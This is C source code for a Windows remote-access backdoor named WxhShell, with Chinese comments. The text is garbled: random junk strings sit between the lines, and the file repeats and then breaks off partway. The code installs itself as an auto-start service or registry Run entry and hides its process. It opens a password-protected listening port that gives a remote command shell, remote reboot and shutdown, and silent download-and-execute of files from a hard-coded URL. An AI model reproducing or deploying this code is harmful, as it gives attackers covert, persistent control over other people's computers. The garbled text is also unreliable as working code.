;z HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p }~qf if(NULL == hInst ) return 0; mrjswF27$o &oX>*6L g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J_4!2v!6e g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &mx)~J^m NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aYSCw3C< ^RI?ybDd if (!NtQueryInformationProcess) return 0; a5TioQ mVpMh#zw hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Sb82}$sO if(!hProcess) return 0; N=7pK&NHSG $F5 b if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K>@+m L}pt)w*V1j CloseHandle(hProcess); R)m'lMi| :Nz2z[W$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jIyB if(hProcess==NULL) return 0; Z'7 0a XPPnuX HMODULE hMod; Jh!I:;/ char procName[255]; LHo3
Niy. unsigned long cbNeeded;
z\%67C R1$:~p2m if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m0a?LY wG-HF'0L CloseHandle(hProcess); /^#;d
UB /~$WUAh if(strstr(procName,"services")) return 1; // 以服务启动 0i\M,TNf* 2`N,, return 0; // 注册表启动 %2{%Obp' } c2'Lfgx4 hRD=Y<>A // 主模块 =*c7i]@} int StartWxhshell(LPSTR lpCmdLine) 2$g6}A`r { _8F`cuyW SOCKET wsl; CU@Rob} s BOOL val=TRUE; %1xb,g KO int port=0; r\-uJ~8N struct sockaddr_in door; 6"J?
# tne ST. if(wscfg.ws_autoins) Install(); B][U4WJ) Ch|jtVeuyJ port=atoi(lpCmdLine); )I^7)x j2StXq3 if(port<=0) port=wscfg.ws_port; Z8@J`0x '}Z~JYa0 WSADATA data; ][+#;avU if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zck#tht4
n xqG[~)~ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8m\7*l^D: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L\xk:j1[ door.sin_family = AF_INET; ,*&:2o_r door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;Q OBBF3HG door.sin_port = htons(port); C.Kh[V\Ut #*K}IBz if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >>t@}F) closesocket(wsl); _/-jX return 1; ORHp$Un~) } j<VFn~*_ 93("oBd[s( if(listen(wsl,2) == INVALID_SOCKET) { 59Xi3KY closesocket(wsl); |,gc_G return 1; S1Wj8P- } :8=i kwQ Wxhshell(wsl); pfA|I*`XV WSACleanup(); -Ta9 pxZk aQ?/%\> return 0; PV'x+bN5 ;c-(ObSm } zZPuha8 .h@rLorm> // 以NT服务方式启动 9ifDcYl VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ([\ { z;{iM/Xe DWORD status = 0; Xx."$l DWORD specificError = 0xfffffff; 42_`+Vt]d7 ov`h serviceStatus.dwServiceType = SERVICE_WIN32; Z0x ar]4V serviceStatus.dwCurrentState = SERVICE_START_PENDING; `<``8 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A!s`[2 Z serviceStatus.dwWin32ExitCode = 0; A-Sv;/yD_ serviceStatus.dwServiceSpecificExitCode = 0; L[oui,}_ serviceStatus.dwCheckPoint = 0; &zl|87M serviceStatus.dwWaitHint = 0; twL3\
}N/B fxgPhnaC> hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y;dz,}re if (hServiceStatusHandle==0) return; .0S~872 T6O::o6 status = GetLastError(); eJF5n# if (status!=NO_ERROR) B6u/mo< { 6]V4muz#c serviceStatus.dwCurrentState = SERVICE_STOPPED; g`{;(/M+ serviceStatus.dwCheckPoint = 0; !O+)sbd< serviceStatus.dwWaitHint = 0; q
MfT>rH serviceStatus.dwWin32ExitCode = status; fM]+SMZy serviceStatus.dwServiceSpecificExitCode = specificError; R0P
iv: SetServiceStatus(hServiceStatusHandle, &serviceStatus); k$R~R-' return; KSbKEA } 0t^M3+nc .f*4T4eR- serviceStatus.dwCurrentState = SERVICE_RUNNING; aGrIQq/k)% serviceStatus.dwCheckPoint = 0; j@W.&- _ serviceStatus.dwWaitHint = 0; s`M9 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %824Cqdc } RY]#<9>M I?h)OvWd // 处理NT服务事件,比如:启动、停止 ~+Rc}K VOID WINAPI NTServiceHandler(DWORD fdwControl) }\z.)B4, { h%o%fH&F! switch(fdwControl) 5m*iE*+ { m;H.#^b* case SERVICE_CONTROL_STOP: TC@s
serviceStatus.dwWin32ExitCode = 0; Fz3fwLawI serviceStatus.dwCurrentState = SERVICE_STOPPED; wF
IegC( serviceStatus.dwCheckPoint = 0; KK1gNC4R serviceStatus.dwWaitHint = 0; KX76UW { 0C =3dnp6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9E
zj" } &R[ Mc-2 return; na#CpS;pc case SERVICE_CONTROL_PAUSE: d:ARf serviceStatus.dwCurrentState = SERVICE_PAUSED; `Bo*{}E break; %j:]^vqFA case SERVICE_CONTROL_CONTINUE: xO$lsZPG serviceStatus.dwCurrentState = SERVICE_RUNNING; !Z`j2
e} break; W}3.E "K case SERVICE_CONTROL_INTERROGATE: udxFz2>_l$ break; )jU)_To }; ql<i] Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); VYu~26Zr } _76PIR{an NiWa7 /Hr // 标准应用程序主函数 jq-p;-i int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M3J#'%$ { `{eyvW[Ks RS"H8P4W // 获取操作系统版本 _p#CwExuy OsIsNt=GetOsVer(); l,R/Gl GetModuleFileName(NULL,ExeFile,MAX_PATH); /mXBvY bBu,#Mc // 从命令行安装 G'rxXJq if(strpbrk(lpCmdLine,"iI")) Install(); s8QMewU 0Oi,#]F // 下载执行文件 O?NeSx1 if(wscfg.ws_downexe) { N/]o4o if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }XZ'v_Ti WinExec(wscfg.ws_filenam,SW_HIDE); &K[_J } aiQ>xen5C5 Tu@8}C if(!OsIsNt) { 3b*cU}go // 如果时win9x,隐藏进程并且设置为注册表启动 XOxr?NPQ^ HideProc(); `Y
BC StartWxhshell(lpCmdLine); h"Xg;(K } W!%]_I!&K else wQv'8A_} if(StartFromService()) 4A@NxihH // 以服务方式启动 JCz@s~f\y StartServiceCtrlDispatcher(DispatchTable); 2]I4M[|&z else @_U;9) // 普通方式启动 E_Im^a StartWxhshell(lpCmdLine); 3Th'p aMG ML:Q5 ^` return 0; l-K9LTd } if}-_E<F
QN@CPuy L/wD7/ODr jL(qf~c_ =========================================== 4?0vso*X<: Q&MZN);. =NOH:#iQ &@%W29: >fe-d#!{ !O-T0O " zfI>qJ+Nqt /[O(ea$U #include <stdio.h> Fkvl%n #include <string.h> +hn+K1 #include <windows.h> =jlt5 z #include <winsock2.h> Vm%1> '& #include <winsvc.h> aD=a , #include <urlmon.h> Ge,;8N88 ]GN7+8l #pragma comment (lib, "Ws2_32.lib") OC1I&",Ai| #pragma comment (lib, "urlmon.lib") L~(_x"uXd m0LTx\w! #define MAX_USER 100 // 最大客户端连接数 *\=.<|H Z #define BUF_SOCK 200 // sock buffer +u!0rLb #define KEY_BUFF 255 // 输入 buffer ?g?L3vRK 7s"<
'cx_F #define REBOOT 0 // 重启 XpmS{nb #define SHUTDOWN 1 // 关机 >2~+.WePu 7nHF@Y|*" #define DEF_PORT 5000 // 监听端口 wB.Nn/p T_sTC)&a #define REG_LEN 16 // 注册表键长度 m_=$0m J$ #define SVC_LEN 80 // NT服务名长度 !6s"]WvF 7:9.&W/KE // 从dll定义API HFwN typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Sl-v W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _cy2z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); la( <8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (7XCA,KTGI 6:q"l\n> // wxhshell配置信息 b8LoIY* struct WSCFG { s:p[DEj- int ws_port; // 监听端口 b7 !Qn} char ws_passstr[REG_LEN]; // 口令 Y|8:;u' int ws_autoins; // 安装标记, 1=yes 0=no 'rMN=1:iu" char ws_regname[REG_LEN]; // 注册表键名 Lg~B'd8m char ws_svcname[REG_LEN]; // 服务名 w4W_iaU char ws_svcdisp[SVC_LEN]; // 服务显示名 pX&pLaF char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?_"+^R z char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;3\3q1oX int ws_downexe; // 下载执行标记, 1=yes 0=no X>NhZ5\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6k])Kl J2; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XOb}<y)r~ i4Z4xTn }; UWG+#,1J.\ {LE&ylE // default Wxhshell configuration {^q)^<#JT struct WSCFG wscfg={DEF_PORT, 9$d.P6|d> "xuhuanlingzhe", v%{0 Tyk 1, p5]_}I`+2 "Wxhshell", K <`>O,
F "Wxhshell", _Sj}~H "WxhShell Service", ?;7b*Z "Wrsky Windows CmdShell Service", "HQF.#\# "Please Input Your Password: ", =_=*OEgO] 1, hol<dB "http://www.wrsky.com/wxhshell.exe", 2P~)I)3V "Wxhshell.exe" 18!VO4u\I }; zQuM !. 3(lVmfk // 消息定义模块 E'dX)J9e$/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `ti8- char *msg_ws_prompt="\n\r? for help\n\r#>"; #1Z7R/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *{/@uO char *msg_ws_ext="\n\rExit."; 4~u9B/v char *msg_ws_end="\n\rQuit."; )+~E8yK char *msg_ws_boot="\n\rReboot..."; WfVMdwz= char *msg_ws_poff="\n\rShutdown..."; >BiRk%x char *msg_ws_down="\n\rSave to "; #\FT EY! Q-('5a19J char *msg_ws_err="\n\rErr!"; :1<~}*B@{ char *msg_ws_ok="\n\rOK!"; ( tn<
VK. h`?k.{})M char ExeFile[MAX_PATH]; !$kR ;Q"/ int nUser = 0; jXcNAl HANDLE handles[MAX_USER]; Ph)|j&] int OsIsNt; 6v47 QW|' O-GxUHwWr SERVICE_STATUS serviceStatus; %Y',|+Arx SERVICE_STATUS_HANDLE hServiceStatusHandle; z}APR@?`n8 P/aDd@j // 函数声明 t .=Oj int Install(void); )/%S=c int Uninstall(void); 84`rbL!M int DownloadFile(char *sURL, SOCKET wsh); W^R'@ int Boot(int flag); ba&o;BLUy void HideProc(void); BlaJl[P iv int GetOsVer(void); B7 c[4 int Wxhshell(SOCKET wsl); .Ty,_3+{#p void TalkWithClient(void *cs); Vipp /WV int CmdShell(SOCKET sock); ~%P3Pp int StartFromService(void); e[4V%h int StartWxhshell(LPSTR lpCmdLine); A'g,:8Ou 5faj;I{%JY VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &z ksRX VOID WINAPI NTServiceHandler( DWORD fdwControl ); S:Xs'0K_ /.ZaE+ // 数据结构和表定义 NhDA7z`b'J SERVICE_TABLE_ENTRY DispatchTable[] = 0M\NS$u(Y { d pn3 ( {wscfg.ws_svcname, NTServiceMain}, "^"'uO$ {NULL, NULL} uGCtLA+sL }; X%`KYo% 3ZN>9` // 自我安装 xMsGs int Install(void) %BICt @E { ,aO@.<" char svExeFile[MAX_PATH]; Bm<^rhJ9 HKEY key; 'a_s%{BJXg strcpy(svExeFile,ExeFile); E0jUewG EE9vk*[@C // 如果是win9x系统,修改注册表设为自启动 *[
#*n n if(!OsIsNt) { AA.Ys89V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V0T<e H< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o'^phlX RegCloseKey(key); MA"#rOcP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ITQ9(W
Un RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5%'S RegCloseKey(key); x
Ty7lfSe return 0; Z fqQ{_ } PC0HH } ##2`5i-x } A?'
H[2]w" else { #~*XDWvIS~ 26}u4W$ // 如果是NT以上系统,安装为系统服务 BDp:9yau SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,| <jjq) if (schSCManager!=0) r
hZQQOQ { $>(9~Yh0 SC_HANDLE schService = CreateService {YBl:rMz ( pd7O`.3 schSCManager, ]'6'<S wscfg.ws_svcname, ZGzc"r(r:# wscfg.ws_svcdisp, cp|:8 [ SERVICE_ALL_ACCESS, [xWEf#', ! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^+URv SERVICE_AUTO_START, !6{Jq] SERVICE_ERROR_NORMAL, hi0XVC95 svExeFile, /!-J53K NULL, "B~WcC NULL, )ph30B NULL, Vv2{^!aZ NULL, YK7 \D: NULL ),MU+*` ); {clCn if (schService!=0) LH,]vuXh { <3)|44.o& CloseServiceHandle(schService); 8F\~Wz 7K CloseServiceHandle(schSCManager); Kyu@>9Ok strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $vW^n4! strcat(svExeFile,wscfg.ws_svcname); "-28[a3q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +{S Maq RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $]nVr(OZ_ RegCloseKey(key); IN<:P return 0; SQKi2\8w } j/~VP2R` } 3,%nkW CloseServiceHandle(schSCManager); GA(OK-WUd } %N7gT*B: } =jsx(3V r^fxyN2V return 1; -$$mr U } ^!z(IE' |g'ceG- // 自我卸载 >[;L. int Uninstall(void) b!r%4Ah { 5fRr d; HKEY key; B$qTH5)W 5?[hr5E.E if(!OsIsNt) { jVh:Bw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WF:4p]0~) RegDeleteValue(key,wscfg.ws_regname); V9jxmu F, RegCloseKey(key); %/
"yt}"| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2#ZqGf.'v RegDeleteValue(key,wscfg.ws_regname); Bo\~PV[ RegCloseKey(key); 8tVSai8[ return 0; 2@IL
n+# } %cBOi_}}~ } iNc!zA4 } N6`U)=2o>h else { iCCe8nK ]E)\>Jb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'bsHoO if (schSCManager!=0) CDoD9Hq, { `z$P,^g` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7 IJn9 b if (schService!=0) +d7Arg!m { aKE`nA0\B if(DeleteService(schService)!=0) { ,U)&ny CloseServiceHandle(schService); 8nWPt!U: CloseServiceHandle(schSCManager); H>},{ z return 0; hy>0'$mU } )5n:UD{f[# CloseServiceHandle(schService); !cdY`f6x } K-@\";whF CloseServiceHandle(schSCManager); "$D'gSoYe } 'Lw8l `7 } mn\A)RQ ZH*h1?\X return 1; zl|
XZ } x6*y$D^B ={f8s,m)P, // 从指定url下载文件 n_:EWm$\ int DownloadFile(char *sURL, SOCKET wsh) pe<T"[X { }h1eB~6M HRESULT hr; bYZU}Kl;( char seps[]= "/"; \98N8p;,I char *token; /DP0K
@% char *file; 8_o~0lb char myURL[MAX_PATH]; |5ge4,}0 char myFILE[MAX_PATH]; 3rd8mh&l W;l0GxOxQ strcpy(myURL,sURL); qHtIjtt[q token=strtok(myURL,seps); Z}t^i^u while(token!=NULL) 0Lb{HLT { luyu7` file=token; ,p /{!BX token=strtok(NULL,seps); k"C'8<T)' } l}r 9kS hg#O_4D GetCurrentDirectory(MAX_PATH,myFILE); 0S9~db strcat(myFILE, "\\"); fFYoZ/\ strcat(myFILE, file); OhMJt&s9P= send(wsh,myFILE,strlen(myFILE),0); a2ho+TwT send(wsh,"...",3,0); $rTb'8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8Lgm50bs if(hr==S_OK) S4?WR+:h return 0; OZd
(~E else yimK"4!j5A return 1; e /1x/v' +95v=[t#Ut } Yi)s=Q : :YOo"3.] // 系统电源模块 %K.r rn M int Boot(int flag) N3*1,/,l. { F_m'
9KX4E HANDLE hToken; TIt\ TOKEN_PRIVILEGES tkp; !s?SI=B8 FvYciU! if(OsIsNt) { as('ZD.9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -|f0;Fl LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /AyxkXq tkp.PrivilegeCount = 1; aWH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^sFO[cYo AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); biBMd(6 if(flag==REBOOT) { jwBJG7\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <pjxJ<1l return 0; -%gEND-AP } eO(U):C2 else { hqlQ-aytS if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A0U9,M return 0; 2ZEGE+0 } erbk( } rf%VSxD9 else { p\F%Nj, if(flag==REBOOT) { p!=O>b_f if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7S&$M-k return 0; 6>)nkD32g } B f]Bi~w< else { "P54|XIJ\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gzqp=I[% return 0; YYPJ(o\ } b GI){0A } kP^A~ZO. XPD1HN!,LT return 1; _H@ATut } Z<^!N) >`SeX: // win9x进程隐藏模块 q<!-Anc void HideProc(void) ^G(Ee+PN@ { OXbShA&1 5E"^>z HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M?L$xE_& if ( hKernel != NULL ) g}W|q"l?i { ;b~\[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (_<,Oj#*S ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W]7/
e FreeLibrary(hKernel); .-/IV^lGv } .|5$yGEF_+ QkW'tU\^ return; /*k_`3L } jl&Nphp 6}e*!,2Xj // 获取操作系统版本 pr7lm5 int GetOsVer(void) #vxq|$e { m%apGp'=1 OSVERSIONINFO winfo; KR%WBvv winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qni`k)4 GetVersionEx(&winfo); `>`b;A4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |:JT+a1 return 1; Xa.8-a"hz else {,+c return 0; Ez0zk9 } KXK5\#+L dpscgW{M // 客户端句柄模块 )7NI5x^$ int Wxhshell(SOCKET wsl) $--+M
D29Q { 5B4/2q= SOCKET wsh; X~c?C-fV struct sockaddr_in client; %Q0R]
Hg DWORD myID; i!e8-gVMP& vr'cR2 while(nUser<MAX_USER) dzPewOre* { z'& fEsjy int nSize=sizeof(client); 5TB6QLPEwY wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0kOwA%m if(wsh==INVALID_SOCKET) return 1; ow{. iv\,u p/VVb% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u;-fG9xs if(handles[nUser]==0) xlu4 closesocket(wsh); n+hL/aQ+ else \|HNFx T` nUser++; .6azUD4 } <?5|(Q"@: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C-;w}
uW[[8+t| return 0; Cp"7R&s } z|D*ymz*EY U4\v~n\ // 关闭 socket J;8d-R5 void CloseIt(SOCKET wsh) nWY^?e'S { 7<;oz30G!L closesocket(wsh); yG/!K uA nUser--; qrw ExitThread(0); *|dK1'Xr }
Pap6JR{7 2a48(~<_ // 客户端请求句柄 U|%}B( void TalkWithClient(void *cs) +jwHYfAK) { `w\P- q 9yC22C: SOCKET wsh=(SOCKET)cs; L}Y.xi char pwd[SVC_LEN]; @|c]) char cmd[KEY_BUFF]; QR'# ]k;>% char chr[1]; w"s@q$}]8M int i,j; FZj>N( k-=LD while (nUser < MAX_USER) { aW&)3C2-x II}M|qHaK if(wscfg.ws_passstr) { iP"sw0V8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +|,4g_(j //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XgHJ Oqt //ZeroMemory(pwd,KEY_BUFF); -"dt3$ju i=0; e@ZM&iR while(i<SVC_LEN) { rFQWgWD n@p@@ // 设置超时 ={zTQ+7S` fd_set FdRead; > ]^'h struct timeval TimeOut; uI/
wR! FD_ZERO(&FdRead); G#GZt\)F FD_SET(wsh,&FdRead); %NxQb' TimeOut.tv_sec=8; \>-
M&C TimeOut.tv_usec=0; }QE*-GVv] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u/u(Z& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c Pf_B= #6<1
=I'j if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A,c XN1V pwd=chr[0]; qGV_oa74 if(chr[0]==0xd || chr[0]==0xa) { V>`ANZ4 pwd=0; Fds
11
/c7 break; =oq8SL?bJ* } lt&(S) i++; SULFAf< } daI_@k Y" Z%qtAPd // 如果是非法用户,关闭 socket 3>aEP5 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bPU
i44P }
r_#dh lFyDH{! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w&aZ 97{ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
8'8`xu$ bH e'
U> while(1) { nm,LKS7 F^NK"<tW ZeroMemory(cmd,KEY_BUFF); <]M.K3> Wjw,LwB // 自动支持客户端 telnet标准 aIV
/ c j=0; - |g"q| while(j<KEY_BUFF) { '%QCNO/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vyIH<@@p7 cmd[j]=chr[0]; E>|X'I?r^ if(chr[0]==0xa || chr[0]==0xd) { *(F`NJ 3 cmd[j]=0; WYUDD_m break; mOsp~|d } =Nxkr0])! j++; WQ.0} n}d } 1*TbgxS~W "+ou!YK+ // 下载文件 <ukBAux,D if(strstr(cmd,"http://")) {
>Q\Kc=Q| send(wsh,msg_ws_down,strlen(msg_ws_down),0); {7OHEArv
if(DownloadFile(cmd,wsh)) c0gVW~I1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;mG*Rad else `.W2t5Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `x`[hJ?i } ;/j2(O^ else { TmQIpeych USz~l7Xs switch(cmd[0]) { #hZ$;1. 6:7[>|okQ // 帮助 ;=ddv@ case '?': { $Iwvecn?I send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >%j%Mj@8q| break; 6st
} @Nek;xJ // 安装 "+F'WCJ-(* case 'i': { R-13DVK if(Install()) FmL]|~ send(wsh,msg_ws_err,strlen(msg_ws_err),0);
p+h$]CH else D(AH3`*|# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6}"c4^k6 break; 'u7-Qetj } gsk?
!D // 卸载 -Uwxmy + case 'r': { J?QS7#!% if(Uninstall()) -b(DPte send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]%' AZ`8 else Qd[_W^QI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BNu >/zGpB break; 0ns\:2)cEB } }Y~Dk]* // 显示 wxhshell 所在路径 Lnr9*dm6q case 'p': { Iux3f+H char svExeFile[MAX_PATH]; @Jzk2,rI strcpy(svExeFile,"\n\r"); HC%Hbc~S_Q strcat(svExeFile,ExeFile); .A2$C|a* send(wsh,svExeFile,strlen(svExeFile),0); =&WIa#!= break; 'a['lF } 5?kfE // 重启 ?h= n5}Y case 'b': { v`HER6 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nI\6aG?` if(Boot(REBOOT)) Y}:~6`-jj send(wsh,msg_ws_err,strlen(msg_ws_err),0); k{}> *pCU else { 513,k$7 closesocket(wsh); 4Z"}W!A ExitThread(0); m@td[^O- } =RQF::[h break; 52w@.] } fZG Y'o&5 // 关机 qs5>`skX case 'd': { s,HbW%s send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XcVN{6-z if(Boot(SHUTDOWN)) va6Fp2n<1* send(wsh,msg_ws_err,strlen(msg_ws_err),0); .uuhoqG0 else { >t+U`6xK closesocket(wsh);
=@HS ExitThread(0); /eF@a! } S
/hx\TzC break; ;M:AcQZ|_ } UVo`jb|>
o // 获取shell aSzI5J]/= case 's': { `q^#u CmdShell(wsh); 1/.BP closesocket(wsh); A~?M`L>B ExitThread(0); ,i2- break; i\i%WiRl } U\KMeaF5e- // 退出 M.W
X&;> case 'x': { T
ozx0??) send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (bsx|8[ CloseIt(wsh); |&; ^?M break; ;8s L } X0/slOT // 离开 T+kV~ w{ case 'q': { ma.84~m send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3Z!%td5n closesocket(wsh); ov6xa*'a WSACleanup(); ul~ux$a exit(1); "r9Rr_,
> break; yPN '@{ 5# } c4Ebre-Oa } 2|nm> 4 } ^P)f]GQx LP2~UVq // 提示信息 st-{xC#N# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L)e"qC_- } Rs %`6et}\ } J<$@X JLS V;M_Y$`Lh return; 3BFOZV+ } 3:J>-MO E/;t6&6 // shell模块句柄 ^_2c\mw_I int CmdShell(SOCKET sock) broLC5hbQU { #}`sfaT STARTUPINFO si; E&M(QX5 ZeroMemory(&si,sizeof(si)); CIudtY(: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MpV<E0CmE si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [!'+} PROCESS_INFORMATION ProcessInfo; 19!?oeOU char cmdline[]="cmd"; wlS/(:02 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )U/jD return 0; ]C_+u_9 } (b&g4$!x&5 i8]EIXbMX // 自身启动模式 =[B\50] int StartFromService(void) _$~>O7 { 7J'%;sH typedef struct tl#sCf!c { c*bvZC^6 DWORD ExitStatus; '&IGdB I DWORD PebBaseAddress; Oa|c ?|+ DWORD AffinityMask; 6^`iuC5 DWORD BasePriority; `#""JTA" ULONG UniqueProcessId; i]8O?Ab>? ULONG InheritedFromUniqueProcessId; zakhJ } PROCESS_BASIC_INFORMATION; 2W AeSUX
.-gJS-.c PROCNTQSIP NtQueryInformationProcess; D,#UJPyg H$![]Ujq static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,i>`Urd static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Bf{u:TCK 7;>|9k HANDLE hProcess; q lc@$ PROCESS_BASIC_INFORMATION pbi; !eX0Q 2 i%2u>Ni^ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GVY7`k"km if(NULL == hInst ) return 0; Q,U0xGGz DAn2Pqf g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J8ni}\f g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4cjfn'x NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fdl.3~.C c(Q@5@1y: if (!NtQueryInformationProcess) return 0; dC C*|b8h &
3#7>oQ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I8xdE(o8+ if(!hProcess) return 0; (t&RFzE?G 7KC>?F if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @G5T8qwN VjQ&A#
CloseHandle(hProcess); H 0l1=y gV_v5sk
